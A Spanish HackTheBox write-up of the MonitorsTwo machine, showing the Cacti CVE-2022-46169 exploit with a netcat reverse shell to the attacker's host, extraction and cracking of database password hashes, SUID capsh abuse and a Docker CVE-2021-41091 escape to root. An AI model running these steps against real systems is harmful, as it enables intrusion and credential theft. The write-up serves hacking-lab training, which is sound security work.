MonitorsTwo es una de las maquinas existentes actualmente en la plataforma de hacking HackTheBox y es de dificultad Fácil.
En este caso se trata de una máquina basada en el Sistema Operativo Linux.
Índice
Escaneo de puertos
Como de costumbre, agregamos la IP de la máquina MonitorsTwo 10.10.11.211 a /etc/hosts como monitorstwo.htb y comenzamos con el escaneo de puertos nmap.
|
1 2 3 4 5 6 7 8 9 10 11 12 |
$ nmap -p- -sS --open --min-rate 5000 -vvv -n -Pn -oA enumeration/nmap1 10.10.11.211 Nmap scan report for 10.10.11.211 Host is up, received user-set (0.058s latency). Scanned at 2023-06-08 13:32:45 GMT for 13s Not shown: 65453 closed tcp ports (reset), 80 filtered tcp ports (no-response) Some closed ports may be reported as filtered due to --defeat-rst-ratelimit PORT STATE SERVICE REASON 22/tcp open ssh syn-ack ttl 63 80/tcp open http syn-ack ttl 63 Read data files from: /usr/bin/../share/nmap # Nmap done at Thu Jun 8 13:32:58 2023 -- 1 IP address (1 host up) scanned in 13.80 seconds |
Una vez descubiertos los puertos abiertos, lanzamos un escaneo completo sobre los mismos
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
nmap -sCV -p 22,80 -oA enumeration/nmap2 10.10.11.211 Nmap scan report for monitorstwo.htb (10.10.11.211) Host is up (0.037s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 48add5b83a9fbcbef7e8201ef6bfdeae (RSA) | 256 b7896c0b20ed49b2c1867c2992741c1f (ECDSA) |_ 256 18cd9d08a621a8b8b6f79f8d405154fb (ED25519) 80/tcp open http nginx 1.18.0 (Ubuntu) |_http-server-header: nginx/1.18.0 (Ubuntu) |_http-title: Login to Cacti Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Thu Jun 8 13:33:25 2023 -- 1 IP address (1 host up) scanned in 11.63 seconds |
Enumeración
Accedemos al portal web y vemos la siguiente ventana
En la misma vemos la versión 1.2.22 del software Cacti, así que vamos a google y encontramos la vulnerabilidad CVE-2022-46169 correspondiente a un RCE y un exploit de la misma.
Así que descargamos el exploit y lo ejecutamos
|
1 2 3 4 5 |
$ python3 exploit.py -u http://monitorstwo.htb --LHOST=10.10.14.10 --LPORT=4444 Checking... The target is vulnerable. Exploiting... Bruteforcing the host_id and local_data_ids Bruteforce Success!! |
Y obtenemos acceso con el usuario www-data
|
1 2 3 4 5 6 7 8 9 |
$ nc -lvp 4444 listening on [any] 4444 ... connect to [10.10.14.10] from monitorstwo.htb [10.10.11.211] 48730 bash: cannot set terminal process group (1): Inappropriate ioctl for device bash: no job control in this shell www-data@50bca5e748b0:/var/www/html$ id id uid=33(www-data) gid=33(www-data) groups=33(www-data) www-data@50bca5e748b0:/var/www/html$ |
Escalado al usuario marcus
Si nos fijamos en el nombre de la máquina, apunta a que es un contenedor, y nos aseguramos viendo el siguiente fichero
|
1 2 3 |
www-data@50bca5e748b0:/$ ls -l /.dockerenv ls -l /.dockerenv -rwxr-xr-x 1 root root 0 Mar 21 10:49 /.dockerenv |
Y vemos también el script de entrypoint en la raíz
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
www-data@50bca5e748b0:/$ cat entrypoint.sh cat entrypoint.sh #!/bin/bash set -ex wait-for-it db:3306 -t 300 -- echo "database is connected" if [[ ! $(mysql --host=db --user=root --password=root cacti -e "show tables") =~ "automation_devices" ]]; then mysql --host=db --user=root --password=root cacti < /var/www/html/cacti.sql mysql --host=db --user=root --password=root cacti -e "UPDATE user_auth SET must_change_password='' WHERE username = 'admin'" mysql --host=db --user=root --password=root cacti -e "SET GLOBAL time_zone = 'UTC'" fi chown www-data:www-data -R /var/www/html # first arg is `-f` or `--some-option` if [ "${1#-}" != "$1" ]; then set -- apache2-foreground "$@" fi exec "$@" |
Vemos unas credenciales de base de datos, así que mejoramos nuestra shell
|
1 2 3 |
www-data@50bca5e748b0:/var/www/html$ script /dev/null -c bash script /dev/null -c bash Script started, output log file is '/dev/null'. |
Y nos conectamos, donde observamos varias bases de datos
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 |
www-data@50bca5e748b0:/var/www/html$ mysql --host=db -u root -proot mysql --host=db -u root -proot Welcome to the MariaDB monitor. Commands end with ; or \g. Your MySQL connection id is 105 Server version: 5.7.40 MySQL Community Server (GPL) Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others. Type 'help;' or '\h' for help. Type '\c' to clear the current input statement. MySQL [(none)]> show databases show databases; ; +--------------------+ | Database | +--------------------+ | information_schema | | cacti | | mysql | | performance_schema | | sys | +--------------------+ 5 rows in set (0.002 sec) MySQL [(none)]> |
Revisamos los mismos y encontramos unas credenciales en la tabla user_auth del esquema cacti
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
MySQL [(none)]> use cacti; use cacti; Reading table information for completion of table and column names You can turn off this feature to get a quicker startup with -A Database changed MySQL [cacti]> select id,username,password from user_auth; select id,username,password from user_auth; +----+----------+--------------------------------------------------------------+ | id | username | password | +----+----------+--------------------------------------------------------------+ | 1 | admin | $2y$10$IhEA.Og8vrvwueM7VEDkUes3pwc3zaBbQ/iuqMft/llx8utpR1hjC | | 3 | guest | 43e9a4ab75570f5b | | 4 | marcus | $2y$10$vcrYth5YcCLlZaPDj6PwqOYTw68W1.3WeKlBn70JonsdW/MhFYK4C | +----+----------+--------------------------------------------------------------+ 3 rows in set (0.000 sec) MySQL [cacti]> |
Así que vamos con john para romper el hash del usuario marcus
|
1 2 3 4 5 6 7 8 9 10 |
$ john cacti.hash -w=/usr/share/wordlists/rockyou.txt --format=bcrypt Using default input encoding: UTF-8 Loaded 1 password hash (bcrypt [Blowfish 32/64 X3]) Cost 1 (iteration count) is 1024 for all loaded hashes Will run 2 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status funkymonkey (?) 1g 0:00:03:09 DONE (2023-06-08 13:55) 0.005269g/s 44.95p/s 44.95c/s 44.95C/s lilpimp..coucou Use the "--show" option to display all of the cracked passwords reliably Session completed. |
Obteniendo la flag de user
Con la clave del usuario accedemos por ssh y obtenemos la flag
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 |
$ ssh marcus@monitorstwo.htb marcus@monitorstwo.htb's password: Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-147-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage System information as of Thu 08 Jun 2023 01:55:42 PM UTC System load: 0.0 Usage of /: 63.0% of 6.73GB Memory usage: 17% Swap usage: 0% Processes: 240 Users logged in: 0 IPv4 address for br-60ea49c21773: 172.18.0.1 IPv4 address for br-7c3b7c0d00b3: 172.19.0.1 IPv4 address for docker0: 172.17.0.1 IPv4 address for eth0: 10.10.11.211 IPv6 address for eth0: dead:beef::250:56ff:feb9:dfb3 Expanded Security Maintenance for Applications is not enabled. 0 updates can be applied immediately. Enable ESM Apps to receive additional future security updates. See https://ubuntu.com/esm or run: sudo pro status The list of available updates is more than a week old. To check for new updates run: sudo apt update You have mail. Last login: Thu Mar 23 10:12:28 2023 from 10.10.14.40 marcus@monitorstwo:~$ id uid=1000(marcus) gid=1000(marcus) groups=1000(marcus) marcus@monitorstwo:~$ cat user.txt 2exxxxxxxxxxxxxxxxxxxxxxx6c3 marcus@monitorstwo:~$ |
Escalado de privilegios
Ahora que ya estamos dentro de la máquina, y viendo que antes estábamos en un contenedor, vamos a revisar la versión de docker
|
1 2 |
arcus@monitorstwo:~$ docker --version Docker version 20.10.5+dfsg1, build 55c4c88 |
Y si buscamos en google encontramos la vulnerabilidad CVE-2021-41091 y un exploit interesante en github
Aunque antes de poder ejecutar el exploit, tenemos que conseguir dar permisos de suid al binario de bash dentro del contenedor, así que volvemos al contenedor, y revisando, vemos que el binario de capsh tiene el permiso de suid
|
1 2 3 4 5 6 |
www-data@50bca5e748b0:/$ which capsh which capsh /sbin/capsh www-data@50bca5e748b0:/$ ls -l /sbin/capsh ls -l /sbin/capsh -rwsr-xr-x 1 root root 30872 Oct 14 2020 /sbin/capsh |
Por lo que vamos a abusar del mismo con la ayuda de gtfobins
|
1 2 3 4 5 |
www-data@50bca5e748b0:/$ capsh --gid=0 --uid=0 -- capsh --gid=0 --uid=0 -- root@50bca5e748b0:/# id id uid=0(root) gid=0(root) groups=0(root),33(www-data) |
Y ya somos root en el contenedor, así que vamos a darle el permiso de suid al binario de bash
|
1 2 3 4 5 |
root@50bca5e748b0:/# chmod u+s /bin/bash chmod u+s /bin/bash root@50bca5e748b0:/# ls -l /bin/bash ls -l /bin/bash -rwsr-xr-x 1 root root 1234376 Mar 27 2022 /bin/bash |
El siguiente paso será volver a la máquina y ejecutar el exploit que vimos anteriormente
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 |
marcus@monitorstwo:~$ ./exploit.sh [!] Vulnerable to CVE-2021-41091 [!] Now connect to your Docker container that is accessible and obtain root access ! [>] After gaining root access execute this command (chmod u+s /bin/bash) Did you correctly set the setuid bit on /bin/bash in the Docker container? (yes/no): yes [!] Available Overlay2 Filesystems: /var/lib/docker/overlay2/4ec09ecfa6f3a290dc6b247d7f4ff71a398d4f17060cdaf065e8bb83007effec/merged /var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged [!] Iterating over the available Overlay2 filesystems ! [?] Checking path: /var/lib/docker/overlay2/4ec09ecfa6f3a290dc6b247d7f4ff71a398d4f17060cdaf065e8bb83007effec/merged [x] Could not get root access in '/var/lib/docker/overlay2/4ec09ecfa6f3a290dc6b247d7f4ff71a398d4f17060cdaf065e8bb83007effec/merged' [?] Checking path: /var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged [!] Rooted ! [>] Current Vulnerable Path: /var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged [?] If it didn't spawn a shell go to this path and execute './bin/bash -p' [!] Spawning Shell bash-5.1# exit |
El último paso será acceder al directorio que nos indica el script y ejecutar el bash obtenido del contenedor para conseguir escalar a root
|
1 2 3 4 5 |
marcus@monitorstwo:~$ cd /var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged marcus@monitorstwo:/var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged$ ./bin/bash -p bash-5.1# id uid=1000(marcus) gid=1000(marcus) euid=0(root) groups=1000(marcus) bash-5.1# |
Obteniendo la flag de root
Y una vez que ya somos root, sólo nos queda coger la flag
|
1 2 3 |
bash-5.1# cat /root/root.txt 8cxxxxxxxxxxxxxxxxxxxxxxxxxxxx94 bash-5.1# |
Y ya tenemos nuestra flag de root para completar esta máquina y conseguir nuestros puntos.
Si eres usuario de HackTheBox y te gustó mi writeup, por favor, dame respeto en el siguiente enlace
